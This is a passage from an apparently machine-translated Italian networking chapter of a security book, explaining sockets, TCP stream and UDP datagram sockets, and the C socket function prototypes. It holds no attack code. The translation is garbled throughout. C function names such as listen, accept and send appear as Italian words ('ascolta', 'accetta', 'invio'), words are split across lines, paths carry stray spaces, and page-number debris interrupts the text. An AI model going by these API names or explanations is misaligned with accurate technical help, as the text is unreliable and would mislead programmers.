sistema operativo del computer in modo che possano comunicare. Programmi che utilizzano
networking, come browser web e client di posta elettronica, devono interfacciarsi con
il sistema operativo che gestisce le comunicazioni di rete. Dal momento che il
il sistema operativo si occupa dei dettagli di incapsulamento della rete, scrittura
programmi di rete è solo una questione di utilizzo dell'interfaccia di rete del sistema operativo.

0x420 prese
Un socket è un modo standard per eseguire la comunicazione di rete tramite
OS. Un socket può essere pensato come un endpoint di una connessione, come un socket
su un centralino operatore. Ma questi socket sono solo di un programmatore
astrazione che si prende cura di tutti i dettagli essenziali del modello OSI
descritto sopra. Per il programmatore, un socket può essere utilizzato per inviare o ricevere
dati su una rete. Questi dati vengono trasmessi al livello di sessione (5), sopra
gli strati inferiori (gestiti dal sistema operativo), che si prendono cura di
instradamento. Esistono diversi tipi di socket che determinano l'estensione
struttura dello strato di trasporto (4). I tipi più comuni sono stream
socket e socket datagramma.
I socket di flusso forniscono una comunicazione bidirezionale affidabile simile a quando
chiami qualcuno al telefono. Un lato avvia la connessione a
altro e dopo aver stabilito la connessione, entrambe le parti possono comunicare
all'altro. Inoltre, c'è la conferma immediata di ciò che hai detto
effettivamente raggiunto la sua destinazione. I socket stream utilizzano una comunicazione standard
protocollo chiamato Transmission Control Protocol (TCP), che esiste su
lo strato di trasporto (4) del modello OSI. Sulle reti di computer, i dati sono
di solito trasmessi in blocchi chiamati pacchetti. TCP è progettato in modo che il
i pacchetti di dati arriveranno senza errori e in sequenza, come parole
arrivando dall'altra parte nell'ordine in cui sono stati pronunciati quando sei
parlando al telefono. Server Web, server di posta e rispettivi
tutte le applicazioni client utilizzano TCP e stream socket per comunicare.
Un altro tipo comune di socket è un socket per datagrammi. Comunicare
con un socket datagramma è più come spedire una lettera che fare una telefonata.
La connessione è unidirezionale e inaffidabile. Se spedisci più lettere, tu
non posso essere sicuro che siano arrivati ​nello stesso ordine, o anche che siano arrivati
la loro destinazione. Il servizio postale è abbastanza affidabile; Internet, come
mai, non lo è. I socket datagram utilizzano un altro protocollo standard chiamato UDP
invece di TCP sul livello di trasporto (4). UDP è l'acronimo di User Datagram
Protocollo, il che implica che può essere utilizzato per creare protocolli personalizzati. Questo
protocollo è molto semplice e leggero, con poche protezioni incorporate. Suo
non una vera connessione, solo un metodo di base per inviare dati da un punto
ad un altro. Con i socket del datagramma, c'è un sovraccarico minimo nel protocollo,
ma il protocollo non fa molto. Se il tuo programma deve confermare che a
il pacchetto è stato ricevuto dall'altra parte, l'altra parte deve essere codificata per l'invio
indietro un pacchetto di riconoscimento. In alcuni casi la perdita di pacchetti è accettabile.

198 0x400
Pagina 213

I socket datagram e UDP sono comunemente usati nei giochi in rete e


streaming multimediale, poiché gli sviluppatori possono personalizzare esattamente le loro comunicazioni
secondo necessità senza l'overhead integrato di TCP.

0x421 Funzioni socket


In C, i socket si comportano in modo molto simile ai file poiché utilizzano descrittori di file per identificare
loro stessi. I socket si comportano così tanto come i file che puoi effettivamente usare il
funzioni read () e write () per ricevere e inviare dati usando la descrizione del file socket
tori. Tuttavia, esistono diverse funzioni progettate specificamente per la gestione
con prese. Queste funzioni hanno i loro prototipi definiti in / usr / include /
sys / sockets.h.

socket (dominio int, tipo int, protocollo int)


Utilizzato per creare un nuovo socket, restituisce un descrittore di file per il socket o
-1 in caso di errore.

connect (int fd, struct sockaddr * remote_host, socklen_t addr_length)


Collega un socket (descritto dal descrittore di file fd ) a un host remoto.
Restituisce 0 in caso di successo e -1 in caso di errore.

bind (int fd, struct sockaddr * local_addr, socklen_t addr_length)


Associa un socket a un indirizzo locale in modo che possa ascoltare le connessioni in entrata.
Restituisce 0 in caso di successo e -1 in caso di errore.

ascolta (int fd, int backlog_queue_size)


Ascolta le connessioni in entrata e accoda le richieste di connessione fino a
backlog_queue_size . Restituisce 0 in caso di successo e -1 in caso di errore.

accetta (int fd, sockaddr * remote_host, socklen_t * addr_length)


Accetta una connessione in ingresso su un socket associato. Le informazioni sull'indirizzo
mation dall'host remoto viene scritta nella struttura remote_host e
la dimensione effettiva della struttura dell'indirizzo viene scritta in * addr_length . Questo
restituisce un nuovo descrittore di file socket per identificare il file connesso
socket o -1 in caso di errore.

invio (int fd, void * buffer, size_t n , int flags)


Invia n byte dal * buffer al socket fd ; restituisce il numero di byte inviati
o -1 in caso di errore.

recv (int fd, void * buffer, size_t n , int flag)